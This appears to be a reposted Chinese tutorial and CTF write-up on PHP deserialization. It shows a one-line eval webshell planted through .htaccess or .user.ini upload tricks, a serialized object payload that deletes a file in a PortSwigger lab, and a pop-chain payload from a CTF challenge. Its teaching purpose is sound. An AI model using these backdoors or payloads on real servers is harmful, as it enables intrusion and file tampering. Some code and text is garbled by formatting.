0


【CTF】php反序列化(一文入门)

PHP相关学习

#Author:SunnyDog

#Date:23-3-18

#考研er忙里抽闲也得学~

#已对一些错别字、md编辑器造成的错误进行了修改,对文中各部分有疑问欢迎探讨~

文章目录

一、php.ini中的auto_append_file和auto_prepend_file

include_path: 当使用函数include()、require()、fopen_with_path()等函数来寻找文件时,在没设置include_path的情况下,这些函数打开文件时默认是以web的根目录去寻找。当配置了include_path()后,这些php函数就会先在指定的include_path目录下面去搜索寻找。

auto_prepend_file: 指定在主文件之前自动解析的文件的名称。该文件就如同调用了require()或include()函数一样被包含了进来,因此使用了include_path。特殊值none禁用自动前缀。

auto_append_file: 指定在主文件之后自动解析的文件的名称。该文件同样是如同调用了require()或include()h函数一样被包含,因此使用了include_path.特殊值none禁止了自动后缀。

测试:

首先使用phpinfo()了解一下我的php.ini的位置

image-20230318180056091

此时我写了三个程序

# index.php<?php
    echo"我是一个主程序";
# append.php<?php
    echo"I'm append test";
# prepend.php<?php
    echo"I'm prepend test";

然后,在phpinfo()中确定好的php.ini中修改auto_prepend_file和auto_append_file的配置:

image-20230318182328259

然后来运行index.php程序:

image-20230318182430035

由图可看出auto_prepend_file与auto_append_file的原理

出现问题:在我更改了php.ini中的这两个配置后,起初发现运行index.php后并没有改变,于是重启了小皮的apache服务后解决。

二、.htaccess和.user.ini后门

.htaccess后门

.htaccess文件(分布式配置文件),提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及所有子目录。

.htaccess是Apache服务器的分布式配置文件的默认名称,换言之是个配置文件。当一个.htaccess文件放置在一个“通过Apache Web服务器加载”的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。

在一些黑名单过滤的情况下,若没有过滤.htaccess文件,即可通过创建.htaccess文件,来改写一些配置,从而达到上传后门的目的。

# .htaccess<FilesMatch "1.png">
SetHandler application/x-http-php
</FilesMatch># 作用:将名为1.png的文件当作php类型的文件来进行执行

假设接下来就可以上传一个名为1.png的木马文件,植入后门,将其上传后,该文件虽文件后缀名为png,但会被当作php类型的文件进行解析,其中的一句话木马也能够被正常执行。

# 1.png    (一句话木马)<?php @eval($_POST['cmd']);?>

.user.ini后门

php.ini是php的一个全局配置文件,对整个Web服务起作用,而.user.ini就是用户自定义的一个php.ini,可以利用它来构造后门。.user.ini利用范围很广,不仅限于Apache服务器,还适用于Nginx服务器。当访问一个.php目录时,若当前目录下存在.user.ini文件,则会执行该配置文件中的内容。

使用:通过配置之前提到的auto_prepend_file或auto_append_file来自动包含指定文件,类似于在文件前调用了include()或require()函数,并且要知道,在php中,被包含的文件内容是在<?php?>体内部的,因此被包含的所有文件,无论是何种格式,都会被按照php文件进行解析

# .user.ini
auto_prepend_file=1.png
# 1.png
GIF89a
<?php eval($_POST['cmd']);?>

因此,通过使用.user.ini,我们可以任意指定包含一个文件,这个文件可以是我们自己上传的木马文件,从而通过该木马文件提供后门来获取当前服务器的webshell。

三、php序列化与反序列化

什么是序列化:序列化就是将数据按照更易存储、传输等,改变其原有格式进行保存的一种方式。

php序列化

相关函数语法:

stringserialize(mixed$value)# 参数:$value:要序列化的对象或数组# 返回类型:string
<?phpclassSunny{public$name="Sunny";private$age=66;protected$sex="male";public$im_noob=true;public$null=null;public$sites=array('I','Like','PHP');publicfunctionecho_hi(){echo"hi noob!";}}$class=newSunny();$serClass=serialize($class);print_r($serClass);?>

使用该程序,我创建了一个Sunny类的对象$class,并对该对象进行序列化,将其通过print打印出来观察序列化结果

O:5:"Sunny":6:{s:4:"name";s:5:"Sunny";s:10:" Sunny age";i:66;s:6:" * sex";s:4:"male";s:7:"im_noob";b:1;s:4:"null";N;s:5:"sites";a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}}

**结构的含义(分为两部分)**:

  • 数据对象的结构:数据对象类型:数据名称长度:数据名称:对象个数eg:(O:5:“Sunny”:4)
  • 数据的结构:数据类型:数据名称长度:数据名称

​ eg:$name = “Sunny” ----------> {s:4:“name”;s:5:“Sunny”;}

序列化的各种结构:

类型:
类型结构Strings:size:value;Integeri:value;Booleanb:value;NullN;Arraya:size:{key definition:value definition};ObjectO:strlen:object name:object size:{…}
访问控制不同对序列化后结构的影响:

public:

​ 序列化后无变化

​ eg:s:4:“name”;s:5:“Sunny”;

private:

​ 序列化后会变成**%00类名%00属性名**

​ eg:s:10:" Sunny age";i:66;

protected:

​ 序列化后会变成%00*%00属性名

​ eg:s:6:" * sex";s:4:“male”;

php反序列化

相关函数语法:

mixedunserialize(string$str)# 参数:$str:序列化后的字符串# 返回值:返回的是转换之后的值,为混合类型mixed# mixed:可以接受多种类型,即转换为对应的类型# 若传递的字符串不可反序列化,则返回False,并产生E_NOTICE
<?phpclassSunny{public$name="Sunny";private$age=66;protected$sex="male";public$im_noob=true;public$null=null;public$sites=array('I','Like','PHP');publicfunctionecho_hi(){echo"hi noob!";}}$class=newSunny();$serClass=serialize($class);echo"序列化后的结果为:";print_r($serClass);$unserClass=unserialize($serClass);echo"</br>"."反序列化后的结果为:"."</br>";print_r($unserClass);echo"</br>";var_dump($unserClass);?>
# print_r($serClass)的结果
序列化后的结果为:O:5:"Sunny":6:{s:4:"name";s:5:"Sunny";s:10:" Sunny age";i:66;s:6:" * sex";s:4:"male";s:7:"im_noob";b:1;s:4:"null";N;s:5:"sites";a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}}# print_r($unserClass)的结果
反序列化后的结果为:</br>Sunny Object([name]=> Sunny
    [age:Sunny:private]=>66[sex:protected]=> male
    [im_noob]=>1[null]=>[sites]=>Array([0]=>I[1]=> Like
            [2]=>PHP))# var_dump($unserClass)的结果object(Sunny)#2 (6) {["name"]=>string(5)"Sunny"["age":"Sunny":private]=>int(66)["sex":protected]=>string(4)"male"["im_noob"]=>bool(true)["null"]=>NULL["sites"]=>array(3){[0]=>string(1)"I"[1]=>string(4)"Like"[2]=>string(3)"PHP"}}

魔术方法

构造函数与析构函数

与我们在C++中学习的构造函数与析构函数的功能基本相同,在php中也同样有构造函数与析构函数

构造函数

构造函数是一种特殊的方法。主要用来在创建对象时初始化对象, 即为对象成员变量赋初始值,在创建对象的语句中与 new 运算符一起使用。

void __construct ([ mixed $args [, $... ]] )
function__construct($par1,$par2){$this->url=$par1;$this->title=$par2;}

类中会默认存在一个没有参数的默认构造函数,但是当我们显示地声明了一个构造函数的话,默认的构造方法则会被取代,并且会在实例化一个类的对象时调用构造方法。

析构函数

析构函数(destructor) 与构造函数相反,当对象结束其生命周期时(例如对象所在的函数已调用完毕),系统自动执行析构函数。

void __destruct ( void )

测试构造函数与析构函数

<?phpclasstestClass{function__construct(){print"这是构造函数\n";$this->name="SunnyDog创建的类";}function__destruct(){print"这是一个析构函数\n";echo"销毁了".$this->name."\n";}}$obj=newtestClass();
这是构造函数
这是一个析构函数
销毁了SunnyDog创建的类

__sleep()方法

public__sleep():array

当调用

serialize()

函数序列化一个实例时,**会首先检查该实例是否存在

__sleep()

方法,如果该方法存在,则该方法会先被调用**,然后才执行序列化操作。否则使用默认的序列化方式。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组,如果该方法未返回任何内容,则 **

null

**被序列化,并产生一个 **

E_NOTICE

**级别的错误。

__wakeup()方法

public__wakeup():void

与之相反,

unserialize()

会检查是否存在一个

__wakeup()

方法。如果存在,则会先调用

__wakeup

方法,预先准备对象需要的资源。

测试:

<?phpclassSunny{public$name="Sunny";private$age=66;protected$sex="male";public$im_noob=true;public$null=null;public$sites=array('I','Like','PHP');publicfunction__sleep(){echo"调用了__sleep()函数\n";returnarray('name');}publicfunction__wakeup(){echo"调用了__wakeup()函数";}}$class=newSunny();$serClass=serialize($class);print$serClass."\n";$unserClass=unserialize($serClass);
调用了__sleep()函数
O:5:"Sunny":1:{s:4:"name";s:5:"Sunny";}
调用了__wakeup()函数

此处值得注意的是,如果我没有在__sleep()魔术方法中填写return的内容的话,由于执行了sleep魔术方法后会对生成的对象清理,那么就无法进行反序列化操作,则不会调用wakeup魔术方法。

__toString()方法

public__toString():string
__toString()

方法用于一个类被当成字符串时应怎样回应。例如

echo $obj;

应该显示些什么

<?phpclassSunny{public$name="Sunny";private$age=66;protected$sex="male";public$im_noob=true;public$null=null;public$sites=array('I','Like','PHP');publicfunction__construct($name){$this->name=$name;}publicfunction__toString(){return"被当作字符串了嘞~";}}$class=newSunny("SunnyDog");echo$class;?># 输出为:被当作字符串了嘞~

__invoke()方法

当尝试以调用函数的方式调用一个对象时,

__invoke()

方法会被自动调用。

<?phpclasstestClass{function__invoke($x,$y){echo"执行了__invoke()方法\n";return$x*$y;}}$class=newtestClass();$result=$class(2,3);echo"结果为:".$result;
执行了__invoke()方法
结果为:6

属性重载

public __set(string $name,mixed &value):void

public __get(string $name):mixed

public __isset(string $name):bool

public __unset(string $name):void
  • 读取不可访问(protectedprivate)或不存在的属性的值时,__get()会被调用
  • 在给不可访问(protectedprivate)或不存在的属性赋值时,__set()会被调用
  • 当对不可访问(protectedprivate)或不存在的属性调用 isset()empty()时,__isset()会被调用
  • 当对不可访问(protectedprivate)或不存在的属性调用 unset()时,__unset()会被调用
<?phpClassUser{private$id='0';public$name='admin';function__get($id){echo"You are no Permmison to get admin's id-----";echo" calling __get() "."</br>";}function__set($id,$value){echo"You are no Permmison to change admin's id-----";echo" calling __set() "."</br>";}function__isset($id){echo"calling __isset()"."</br>";}function__unset($id){echo"calling __unset()"."</br>";}}$obj=newUser();$obj->id;// 读取id,id为private类型,会执行__get()print$obj->name;// 正常输出adminecho'</br>';$obj->id=1;// 给id赋值,id为private,会执行__set()$obj->name="Deu";// 正常给name赋值为Deuprint$obj->name;// 正常输出Deuecho'</br>';isset($obj->id);// id不可访问,执行__isset()unset($obj->id);// id不可访问,执行__unset()?>
You are no Permmison to get admin's id----- calling __get()
admin
You are no Permmison to change admin's id----- calling __set()
Deu
calling __isset()
calling __unset()

四、php反序列化漏洞

原理:

反序列化漏洞最根本的成因在于 **反序列化函数

unserialize()

的参数是可控的:也就是说可以传入我们特殊构造的一个序列化后的对象。**

php在反序列化的时候会调用

__wakeup

/

__sleep

等函数,可能会造成代码执行等问题。若没有相关函数,在析构时也会调用相关的析构函数,同样会造成代码执行。

另外

__toString

/

__call

两个函数也有利用的可能。

其中

__wakeup

在反序列化时被触发,

__destruct

在GC时被触发,

__toString

在echo时被触发,

__invoke

在调用函数的方式调用一个对象时被触发。

利用思想:根据魔术方法函数中提供的功能构造合适的反序列化对象,在对象的销毁或反序列化时,调用了魔术方法,并传入我们构造的恶意参数造成攻击。

LAB:

实验地址:Lab: Arbitrary object injection in PHP | Web Security Academy

PRACTITIONER

This lab uses a serialization-based session mechanism and is vulnerable to arbitrary object injection as a result. To solve the lab, create and inject a malicious serialized object to delete the

morale.txt

file from Carlos’s home directory. You will need to obtain source code access to solve this lab.

You can log in to your own account using the following credentials:

wiener:peter
本实验使用基于序列化的会话机制,因此容易受到任意对象注入的攻击。要解决该实验室问题,请创建并注入恶意序列化对象,以从 Carlos 的主目录中删除“morale.txt”文件。您将需要获得源代码访问权限才能解决此实验室问题。

您可以使用以下凭据登录到您自己的帐户:`wiener:peter`

image-20230318210848110

进入靶场后,根据题目提示先使用wiener:peter登录,登陆成功,使用burp抓包:

image-20230318213114642

确认存在序列化

从session的编码形式来看,大致可能是个base64编码,则对其尝试解码查看结果:

image-20230318213253387

可以发现,其session传递的就是一个序列化的PHP类对象,此时可确定该页面传递用户的数据的方式为序列化。

寻找可利用的魔术方法(最难的一步)

访问当前MyCount看看访问过程中出现过哪些文件

接下来在target模块的site map中查看整个过程中出现过那些文件,其中找到一个CustomTemplate.php文件

但是在尝试访问该文件时,发现页面没有任何信息,考虑信息包含在了<?php?>内,因此我们无法直接查看到页面的源码,那么进行进一步操作。尝试将访问这个文件的包发送到Repeater模块中进行测试,发现也只是回显了200,无法查看内容

利用文件备份

一般,当开发者在编写文件时,在linux系统中,为了方便备份,一般开发者会选择直接使用指令cp index.php index.php~来对文件进行备份。

为什么要使用“~”作为后缀呢,因为它是ASCii表中最高位的可打印字符,当使用这种形式的命名方式时,该备份文件永远会跟在源文件的后面

此处我们也尝试使用这样的形式来访问CustomTemplate.php文件,由此可以成功获得该源码

image-20230318234436562

# CustomTemplate.php<?php

classCustomTemplate{private$template_file_path;private$lock_file_path;publicfunction__construct($template_file_path){$this->template_file_path=$template_file_path;$this->lock_file_path=$template_file_path.".lock";}privatefunctionisTemplateLocked(){returnfile_exists($this->lock_file_path);}publicfunctiongetTemplate(){returnfile_get_contents($this->template_file_path);}publicfunctionsaveTemplate($template){if(!isTemplateLocked()){if(file_put_contents($this->lock_file_path,"")===false){thrownewException("Could not write to ".$this->lock_file_path);}if(file_put_contents($this->template_file_path,$template)===false){thrownewException("Could not write to ".$this->template_file_path);}}}function__destruct(){// Carlos thought this would be a good ideaif(file_exists($this->lock_file_path)){unlink($this->lock_file_path);}}}?>

题目对我们的要求,就是要我们删除从 Carlos 的主目录中删除“morale.txt”文件,因此可以注意到析构函数__destruct()中存在unlink()函数,可以帮助我们达到这一目的。并且,删除的lock_file_path变量就是在构造函数中对应赋值的,因此可以考虑利用。

此处介绍一下unlink()函数

unlink(filename, context)
# filename:必须。规定要删除的文件
# context:可选。规定文件句柄的环境。

直接根据构造函数的结构构造脚本来得到payload:

<?phpclassCustomTemplate{private$template_file_path;private$lock_file_path;publicfunction__construct($template_file_path){$this->template_file_path=$template_file_path;$this->lock_file_path=$template_file_path.".lock";}}$str="/home/carlos/morale.txt";$class=newCustomTemplate($str);$class_ser=serialize($class);print$class_ser;
# 对上述脚本得到的payload做一些不必要的内容的删减即可得到:
O:14:"CustomTemplate":2:{s:18:"template_file_path";s:23:"/home/carlos/morale.txt";s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

接下来使用burp,将这串payload进行base64编码,传入到session中即可

image-20230319002501604

成功删除对应文件!

五、php反序列化pop链

一般的反序列化题目,存在漏洞或者能注入恶意代码的地方在魔术方法中,我们可以通过自动调用魔术方法来达到攻击效果。但是当注入点存在普通的类方法中,通过前面自动调用的方法就失效了,所以我们需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。所以我们在做这类pop题目一定要紧盯魔术方法。

pop称之为面向属性编程(Property-Oriented Programing),常用于上层语言结构特定调用链的方法,与二进制利用中的面向返回编程ROP(Return-Oriented Programing)的原理类似,是从现有云心环境中,即一些普通的类函数中虚招一系列的代码或者指令来进行调用,然后根据需求构成一组连续的调用链,最终来达到攻击的目的

[强网杯2021]赌徒(pop链构造)

源码:

<meta charset="utf-8"><?php
//hint is in hint.phperror_reporting(1);classStart{public$name='guest';public$flag='syst3m("cat 127.0.0.1/etc/hint");';publicfunction__construct(){echo"I think you need /etc/hint . Before this you need to see the source code";}publicfunction_sayhello(){echo$this->name;return'ok';}publicfunction__wakeup(){echo"hi";$this->_sayhello();}publicfunction__get($cc){echo"give you flag : ".$this->flag;return;}}classInfo{private$phonenumber=123123;public$promise='I do';publicfunction__construct(){$this->promise='I will not !!!!';return$this->promise;}publicfunction__toString(){return$this->file['filename']->ffiillee['ffiilleennaammee'];}}classRoom{public$filename='./flag';public$sth_to_set;public$a='';publicfunction__get($name){$function=$this->a;return$function();}publicfunctionGet_hint($file){$hint=base64_encode(file_get_contents($file));echo$hint;return;}publicfunction__invoke(){$content=$this->Get_hint($this->filename);echo$content;}}if(isset($_GET['hello'])){unserialize($_GET['hello']);}else{$hi=newStart();}?>

[分析]

根据源码中的一些提示,可以知道我们所需要的flag处于./flag中,又由于./flag是一个文件,因此我们需要寻找源码中可以读取文件的部分。

  1. 于是乎可以发现在class Room中的Get_hint()函数中存在file_get_contents()函数可以用于读取文件;
  2. 要想调用Get_hint()函数,我们又发现需要调用class Room类的__invoke()魔术方法,该魔术方法在以调用函数的方式调用一个对象时会触发;
  3. 为了满足这一条件,我们可以看到,在class Room的__get()魔术方法中,如果将$a指定为一个类的对象,则当执行return f u n c t i o n ( ) 时就是以调用函数的形式来调用 function()时就是以调用函数的形式来调用 function()时就是以调用函数的形式来调用a指定的类的对象;
  4. 再说,要调用__get()魔术方法,需要访问calss Room中的private、protected或不存在的属性值才会调用;
  5. 又可以看到,在class Info中的魔术方法__toString()中又调用了一个不存在的属性值filename,因此可以用它来触发class Room中的get()魔术方法;
  6. 又为了触发class Info的__toString魔术方法,需要满足当一个类被当成字符串时才会触发;
  7. 又看到在class Start中__sayhello()函数中用到了echo $this->name,因此可以通过将a赋为一个class Info的对象,当执行echo语句时,就会触发toString魔术方法;
  8. 当创建一个class Start对象时,会执行__wakeup()魔术方法,该方法内即会执行sayhello()函数。

[构造]

分析结束后,在构造语句时,只需将分析部分逆向过来即可

  1. 将class Start中的__sayhello()其中的this->name赋为class Info的对象
  2. 因为执行了class Start中的echo语句,所以触发了class Info的__toString()魔术方法
  3. 将class Info的toString方法中的filename赋为class Room的对象,这样当调用filename时,由于调用了一个不存在的属性值,因此会触发class Room中的__get()魔术方法
  4. 在class Room的get魔术方法中,将this->a赋为一个class Room的对象,这样以调用函数的方式调用一个对象时,则会触发class Room类的__invoke()方法
  5. 在__invoke()方法中,则会将fielname传入函数Get_hint()中,进而来执行对文件的读取

构造语句:

<?php$a=newStart();$a->name=newInfo();$a->name->file["filename"]=newRoom();$a->name->file["filename"]->a=newRoom();$ser_a=serialize($a);echo$ser_a;?>

得到结果:

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"Infophonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:8:"filename";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:6:"./flag";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

但是,此时传入这个结果,会发现是无法得到flag的,经过审查源码,发现是由于$phonenumber这一变量是private权限的,因此需要在构造时将其变为**%00类名%00属性名**的格式

O:5:"Start":2:{s:4:"name";O:4:"Info":3:{s:17:"%00Info%00phonenumber";i:123123;s:7:"promise";s:15:"I will not !!!!";s:4:"file";a:1:{s:8:"filename";O:4:"Room":3:{s:8:"filename";s:10:"./flag.txt";s:10:"sth_to_set";N;s:1:"a";O:4:"Room":3:{s:8:"filename";s:10:"./flag.txt";s:10:"sth_to_set";N;s:1:"a";s:0:"";}}}}s:4:"flag";s:33:"syst3m("cat 127.0.0.1/etc/hint");";}

通过该语句即可得到flag

其实感觉pop链就像是从终点开始一步一步去找到起点,过程中要求我们对序列化的一些魔术方法较为熟悉,并知道如何利用。

参考链接

https://www.runoob.com/php/php-tutorial.html

https://www.freebuf.com/articles/web/349337.html

https://security.stackexchange.com/questions/180756/what-does-the-tilde-mean-at-the-end-of-a-file-extension

https://blog.csdn.net/qq_31088019/article/details/126519989

https://www.cnblogs.com/ProbeN1/p/14886724.html

https://blog.csdn.net/iverson1180/article/details/119117088


本文转载自: https://blog.csdn.net/qq_53099119/article/details/129646110
版权归原作者 Sunny-Dog 所有, 如有侵权,请联系我们删除。

“【CTF】php反序列化(一文入门)”的评论:

还没有评论